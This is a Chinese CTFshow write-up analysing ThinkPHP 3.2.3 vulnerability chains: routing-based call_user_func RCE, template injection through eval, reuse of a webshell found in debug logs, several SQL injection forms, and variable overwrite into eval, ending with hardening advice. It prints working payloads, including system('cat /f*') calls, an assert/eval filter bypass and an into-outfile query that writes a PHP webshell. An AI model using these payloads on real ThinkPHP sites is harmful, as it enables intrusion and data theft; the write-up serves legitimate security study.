ctfshow ThinkPHP篇—3.2.3:从路由到RCE的漏洞链深度剖析
1. ThinkPHP 3.2.3路由机制解析ThinkPHP 3.2.3作为经典的PHP框架其路由机制是安全审计的重点。我们先来看四种默认路由模式PATHINFO模式http://domain/index.php/模块/控制器/操作/参数/值普通模式http://domain/index.php?m模块c控制器a操作参数值兼容模式http://domain/index.php?s/模块/控制器/操作/参数/值REWRITE模式http://domain/模块/控制器/操作/参数/值在CTFshow靶场中常见的漏洞触发点往往始于路由配置不当。比如当开启URL_ROUTER_ON时框架会加载路由规则// Application/Common/Conf/config.php URL_ROUTE_RULES array( ctfshow/:f/:a function($f,$a){ call_user_func($f, $a); } )这种配置直接将URL参数传递给call_user_func()典型的危险操作。我在实际测试中发现虽然直接传system(ls /)会被斜杠过滤但通过asserteval组合可以绕过/index.php/ctfshow/assert/eval($_POST[1]) POST: 1system(cat /f*);2. 控制器方法调用中的RCE漏洞ThinkPHP的控制器方法调用机制存在多个危险函数入口。以IndexController.class.php为例namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n){ $this-show($n); } }当TMPL_ENGINE_TYPE设置为php时show()方法最终会执行// ThinkPHP/Library/Think/View.class.php if(!empty($_content)) { eval(?.$_content); // 直接执行PHP代码 }这就形成了经典的模板注入漏洞。我在某次渗透测试中成功利用?n?php system(cat /flag);?3. 日志文件泄露与利用开启调试模式时ThinkPHP会在Application/Runtime/Logs/目录生成日志文件命名格式为年_月_日.log。我曾通过爆破发现历史日志中包含测试用的木马// 21_04_05.log ?php eval($_GET[showctf]);?利用方式极其简单/index.php?showctfsystem(cat /f*);4. SQL注入漏洞链分析ThinkPHP 3.2.3的SQL注入主要出现在以下几种场景4.1 直接字符串拼接$name M(Users)-where(id.$id)-find();典型的数字型注入payload示例?id0) union select 1,flag,3,4 from flags%234.2 comment注入$user M(Users)-comment($id)-find(intval($id));利用注释符实现文件写入?id1*/ into outfile /var/www/html/shell.php lines terminated by ?php eval($_POST[1]);? /*4.3 EXP表达式注入$map array(id$_GET[id]); $user M(Users)-where($map)-find();通过数组参数触发?id[0]expid[1]0 union select 1,flag,2,3 from flags%235. 变量覆盖到RCE的完整链条最危险的漏洞链往往始于变量覆盖public function index($name,$fromctfshow){ $this-assign($name,$from); $this-display(index); }跟踪assign()方法// ThinkPHP/Library/Think/View.class.php public function assign($name,$value){ if(is_array($name)){ $this-tVar array_merge($this-tVar,$name); }else{ $this-tVar[$name] $value; } }结合display()中的extract()操作最终在模板渲染时形成RCE?name[_content]?php system(cat /f*);?这个漏洞链的利用关键在于通过数组参数覆盖tVar变量extract()将数组键名转为变量控制$_content进入eval()执行6. 防御方案与最佳实践根据实战经验我总结出以下防护措施路由安全禁用URL_ROUTE_RULES中的匿名函数设置URL_PARAMS_FILTER对参数过滤数据库操作使用预处理语句$Model-where(id%d,$id)-find();关闭调试模式APP_DEBUG false模板渲染设置TMPL_ENGINE_TYPE为Think而非php启用模板编译TMPL_CACHE_ONtrue日志管理设置LOG_FILE_SIZE限制日志大小定期清理Runtime目录在最近一次企业级审计中通过静态分析动态fuzz的组合方案我们发现了3处潜在的路由安全问题。建议开发者升级到ThinkPHP 5.0版本其路由机制和SQL构建器都进行了彻底重构安全性有显著提升。